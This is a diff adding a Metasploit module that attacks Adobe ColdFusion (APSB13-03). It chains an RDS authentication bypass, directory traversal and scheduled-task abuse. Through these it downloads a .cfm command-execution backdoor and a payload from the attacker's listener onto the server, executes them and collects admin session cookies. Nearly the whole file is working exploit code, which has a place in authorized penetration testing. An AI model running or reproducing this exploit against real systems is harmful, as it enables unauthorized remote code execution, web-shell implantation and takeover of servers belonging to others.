diff --git a/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb new file mode 100644 index 0000000000..4e0d5cc25f --- /dev/null +++ b/modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb @@ -0,0 +1,603 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'digest/sha1' +require 'openssl' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe ColdFusion APSB13-03', + 'Description' => %q{ + This module exploits a number of vulnerabilities in Adobe ColdFusion APSB13-03: + CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)), + CVE-2013-0629 (directory traversal), and CVE-2013-0632 (authentication bypass) + }, + 'Author' => + [ + 'Jon Hart ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0625'], + [ 'CVE', '2013-0629'], + [ 'CVE', '2013-0632'] + ], + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }], + [ + 'Universal CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => ['unix', 'win', 'linux'] + } + ] + ], + 'DefaultTarget' => 1, + 'Privileged' => true, + 'Platform' => [ 'win', 'linux', 'unix' ], + 'DisclosureDate' => 'Jan 15 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]), + OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]), + ], self.class) + + register_advanced_options( + [ + OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]), + ], self.class) + end + + def check + exploitable = 0 + exploitable += 1 if check_cve_2013_0629 + exploitable += 1 if check_cve_2013_0632 + exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + # Login any way possible, returning the cookies if successful, empty otherwise + def login + cf_cookies = {} + + ways = { + 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) }, + 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) }, + 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) }, + } + ways.each do |what, how| + these_cookies = how.call + if got_auth? these_cookies + print_status "Authenticated using '#{what}' technique" + cf_cookies = these_cookies + break + end + end + + fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty? + cf_cookies + end + + def exploit + # login + cf_cookies = login + + # relative to where we operate during the exploit, + # where is the CFIDE directory? + @cf_root = "../../wwwroot/CFIDE/" + + # if we managed to login, get the listener ready + datastore['URIPATH'] = rand_text_alphanumeric(6) + if (datastore['SRVHOST'] == "0.0.0.0") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + srv_port = datastore['SRVPORT'] || 80 + srv_uri = "http://#{srv_host}:#{srv_port}" + start_service + + # drop a payload on disk which we can used to execute + # arbitrary commands, which will be needed regardless of + # which technique (cmd, payload) the user wants + input_exec = srv_uri + "/#{datastore['URIPATH']}-e" + output_exec = "#{datastore['URIPATH']}-e.cfm" + register_file_for_cleanup @cf_root + output_exec + schedule_drop cf_cookies, input_exec, output_exec + if datastore['CMD'] and not datastore['CMD'].empty? + # now that the coldfusion exec is on disk, execute it, + # passing in the command and arguments + parts = datastore['CMD'].split(/\s+/) + res = execute output_exec, parts.shift, parts.join(' ') + print_line res.body.strip + else + # drop the payload + input_payload = srv_uri + "/#{datastore['URIPATH']}-p" + output_payload = "#{datastore['URIPATH']}-p.bat" + register_file_for_cleanup @cf_root + output_payload + schedule_drop cf_cookies, input_payload, output_payload + # make the payload executable + # XXX: windows? + execute output_exec, 'chmod', "755 #{@cf_root}#{output_payload}" + # execute the payload + execute output_exec, "#{@cf_root}#{output_payload}" + end + handler + end + + def execute(cfm=nil, cmd=nil, args='') + uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}" + send_request_cgi( { 'uri' => uri, 'method' => 'GET' }, 25 ) + end + + def on_request_uri(cli, request) + case request.uri + when "/#{datastore['URIPATH']}-e" + cf_payload = <<-EOF + + + + #output# + EOF + when "/#{datastore['URIPATH']}-p" + cf_payload = payload.encoded + else + cf_payload = "test" + end + send_response(cli, cf_payload, { 'Content-Type' => 'text/html' }) + end + + + # Given a hash of cookie key value pairs, return a string + # suitable for use as an HTTP Cookie header + def build_cookie_header(cookies) + cookies.to_a.map { |a| a.join '=' }.join '; ' + end + + # Using the provided +cookies+, schedule a ColdFusion task + # to request content from +input_uri+ and drop it in +output_path+ + def schedule_drop(cookies, input_uri, output_path) + vprint_status "Attempting to schedule ColdFusion task" + cookie_hash = cookies + + scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm" + scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm" + # make a request to the scheduletasks page to pick up the CSRF token + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, scheduletasks_path), + 'method' => 'GET', + 'connection' => 'TE, close', + 'cookie' => build_cookie_header(cookie_hash), + }) + + if res + cookie_hash.merge! get_useful_cookies res + # XXX: I can only seem to get this to work if 'Enable Session Variables' + # is disabled (Server Settings -> Memory Variables) + token = res.body.scan(/ normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task", + 'method' => 'GET', + 'connection' => 'TE, close', + 'cookie' => build_cookie_header(cookie_hash), + }) + + fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res + + # pick a unique task ID + task_id = SecureRandom.uuid + # drop the backdoor in the CFIDE directory so it can be executed + publish_file = "#{@cf_root}#{output_path}" + # pick a start date. This must be in the future, so pick + # one sufficiently far ahead to account for time zones, + # improper time keeping, solar flares, drift, etc. + start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}" + params = { + 'csrftoken' => token, + 'TaskName' => task_id, + 'Group' => 'default', + 'Start_Date' => start_date, + 'End_Date' => '', + 'ScheduleType' => 'Once', + 'StartTimeOnce' => '1:37 PM', + 'Interval' => 'Daily', + 'StartTimeDWM' => '', + 'customInterval_hour' => '0', + 'customInterval_min' => '0', + 'customInterval_sec' => '0', + 'CustomStartTime' => '', + 'CustomEndTime' => '', + 'repeatradio' => 'norepeatforeverradio', + 'Repeat' => '', + 'crontime' => '', + 'Operation' => 'HTTPRequest', + 'ScheduledURL' => input_uri, + 'Username' => '', + 'Password' => '', + 'Request_Time_out' => '', + 'proxy_server' => '', + 'http_proxy_port' => '', + 'publish' => '1', + 'publish_file' => publish_file, + 'publish_overwrite' => 'on', + 'eventhandler' => '', + 'exclude' => '', + 'onmisfire' => '', + 'onexception' => '', + 'oncomplete' => '', + 'priority' => '5', + 'retrycount' => '3', + 'advancedmode' => 'true', + 'adminsubmit' => 'Submit', + 'taskNameOriginal' => task_id, + 'groupOriginal' => 'default', + 'modeOriginal' => 'server', + } + + cookie_hash.merge! (get_useful_cookies res) + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, scheduleedit_path), + 'method' => 'POST', + 'cookie' => build_cookie_header(cookie_hash), + 'vars_post' => params, + }) + + if res + # if there was something wrong with the task, capture those errors + # print them and abort + errors = res.body.scan(/
  • (.*)<\/li>/i).flatten + if errors.empty? + if res.body =~ /SessionManagement should/ + fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF") + end + print_status "Created task #{task_id}" + else + fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}") + end + else + fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}") + end + + print_status "Executing task #{task_id}" + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server", + 'method' => 'GET', + 'cookie' => build_cookie_header(cookie_hash), + }) + + if datastore['DELETE_TASK'] + print_status "Removing task #{task_id}" + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}", + 'method' => 'GET', + 'cookie' => build_cookie_header(cookie_hash), + }) + end + + vprint_status normalize_uri(target_uri, publish_file) + publish_file + end + + # Given the HTTP response +res+, extract any interesting, non-empty + # cookies, returning them as a hash + def get_useful_cookies(res) + set_cookie = res.headers['Set-Cookie'] + # Parse the Set-Cookie header + parsed_cookies = CGI::Cookie.parse(set_cookie) + + # Clean up the cookies we got by: + # * Dropping Path and Expires from the parsed cookies -- we don't care + # * Dropping empty (reset) cookies + %w(Path Expires).each do |ignore| + parsed_cookies.delete ignore + parsed_cookies.delete ignore.downcase + end + parsed_cookies.keys.each do |name| + parsed_cookies[name].reject! { |value| value == '""' } + end + parsed_cookies.reject! { |name,values| values.empty? } + + # the cookies always seem to start with CFAUTHORIZATION_, but + # give the module the ability to log what it got in the event + # that this stops becoming an OK assumption + unless parsed_cookies.empty? + vprint_status "Got the following cookies after authenticating: #{parsed_cookies}" + end + cookie_pattern = /^CF/ + useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern } + if useful_cookies.empty? + vprint_status "No #{cookie_pattern} cookies found" + else + vprint_status "The following cookies could be used for future authentication: #{useful_cookies}" + end + useful_cookies + end + + # Authenticates to ColdFusion Administrator via the adminapi using the + # specified +user+ and +password+. If +use_rds+ is true, it is assumed that + # the provided credentials are for RDS, otherwise they are assumed to be + # credentials for ColdFusion Administrator. + # + # Returns a hash (cookie name => value) of the cookies obtained + def adminapi_login(user, password, use_rds) + vprint_status "Attempting ColdFusion Administrator adminapi login" + user ||= '' + password ||= '' + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)), + 'method' => 'POST', + 'vars_post' => { + 'method' => 'login', + 'adminUserId' => user, + 'adminPassword' => password, + 'rdsPasswordAllowed' => (use_rds ? '1' : '0') + } + }) + + if res + if res.code == 200 + vprint_status "HTTP #{res.code} when authenticating" + return get_useful_cookies(res) + else + print_error "HTTP #{res.code} when authenticating" + end + else + print_error "No response when authenticating" + end + + {} + end + + # Authenticates to ColdFusion Administrator using the specified +user+ and + # +password+ + # + # Returns a hash (cookie name => value) of the cookies obtained + def administrator_login(user, password) + cf_cookies = administrator_9x_login user, password + unless got_auth? cf_cookies + cf_cookies = administrator_10x_login user, password + end + cf_cookies + end + + def administrator_10x_login(user, password) + # coldfusion 10 appears to do: + # cfadminPassword.value = hex_sha1(cfadminPassword.value) + vprint_status "Trying ColdFusion 10.x Administrator login" + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)), + 'method' => 'POST', + 'vars_post' => { + 'cfadminUserId' => user, + 'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase, + 'requestedURL' => '/CFIDE/administrator/index.cfm', + 'submit' => 'Login', + } + }) + + if res + if res.code.to_s =~ /^30[12]/ + useful_cookies = get_useful_cookies res + if got_auth? useful_cookies + return useful_cookies + end + else + if res.body =~ /Error/i + print_status "Appears to be restricted and/or not ColdFusion 10.x" + elsif res.body =~ /A License exception has occurred/i + print_status "Is license restricted" + else + vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?" + vprint_status res.body + end + end + end + + return {} + end + + def got_auth?(cookies) + not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty? + end + + def administrator_9x_login(user, password) + vprint_status "Trying ColdFusion 9.x Administrator login" + # coldfusion 9 appears to do: + # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value)); + # + # You can get a current salt from + # http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt + # + # Unfortunately that URL might be restricted and the salt really just looks + # to be the current time represented as the number of milliseconds since + # the epoch, so just use that + salt = (Time.now.to_i * 1000).to_s + pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)), + 'method' => 'POST', + 'vars_post' => { + 'submit' => 'Login', + 'salt' => salt, + 'cfadminUserId' => user, + 'requestedURL' => '/CFIDE/administrator/index.cfm', + 'cfadminPassword' => pass, + } + }) + if res + return get_useful_cookies res + else + print_error "No response while trying ColdFusion 9.x authentication" + end + + {} + end + + # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+ + # + # Returns a hash (cookie name => value) of the cookies obtained + def componentutils_login(user, password) + vprint_status "Attempting ColdFusion ComponentUtils login" + vars = { + 'j_password_required' => "Password+Required", + 'submit' => 'Login', + } + vars['rdsUserId'] = user if user + vars['j_password'] = password if password + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)), + 'method' => 'POST', + 'connection' => 'TE, close', + 'vars_post' => vars + }) + + cf_cookies = {} + if res.code.to_s =~ /^(?:200|30[12])$/ + cf_cookies = get_useful_cookies res + else + print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login" + end + + cf_cookies + end + + def check_cve_2013_0629 + vulns = 0 + paths = %w(../../../license.txt ../../../../license.html) + + # first try password-less bypass in the event that this thing + # was just wide open + vuln_without_creds = false + paths.each do |path| + if traverse_read(path, nil) =~ /ADOBE SYSTEMS INCORPORATED/ + vulns += 1 + vuln_without_creds = true + break + end + end + + if vuln_without_creds + print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials" + else + print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials" + end + + # if credentials are provided, try those too + if datastore['USERNAME'] and datastore['PASSWORD'] + vuln_without_bypass = false + paths.each do |path| + cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD'] + if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/ + vulns += 1 + vuln_without_bypass = true + break + end + end + + if vuln_without_bypass + print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials" + else + print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials" + end + end + + # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open + vuln_with_bypass = false + paths.each do |path| + cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true + # we need to take the cookie value from CFAUTHORIZATION_cfadmin + # and use it for CFAUTHORIZATION_componentutils + cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin'] + cf_cookies.delete 'CFAUTHORIZATION_cfadmin' + if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/ + vulns += 1 + vuln_with_bypass = true + break + end + end + + if vuln_with_bypass + print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632" + else + print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632" + end + + vulns > 0 + end + + # Checks for CVE-2013-0632, returning true if the target is + # vulnerable, false otherwise + def check_cve_2013_0632 + if datastore['USERDS'] + # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but + # subsequently *enabled* after install, the password is unset so we simply must + # check that and only that. + cf_cookies = adminapi_login Rex::Text.rand_text_alpha(4), Rex::Text.rand_text_alpha(4), true + if cf_cookies.empty? + print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632" + else + print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632" + return true + end + else + print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off" + end + false + end + + # Read the file located at +path+ using the provided ColdFusion +cookies+, + # returning the contents of the file if found, an empty string otherwise + def traverse_read(path, cookies) + uri = normalize_uri(target_uri.path) + uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path=" + uri << path + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'connection' => 'TE, close', + 'cookie' => build_cookie_header(cookies) + }) + if res and res.body + res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '') + else + return "" + end + end +end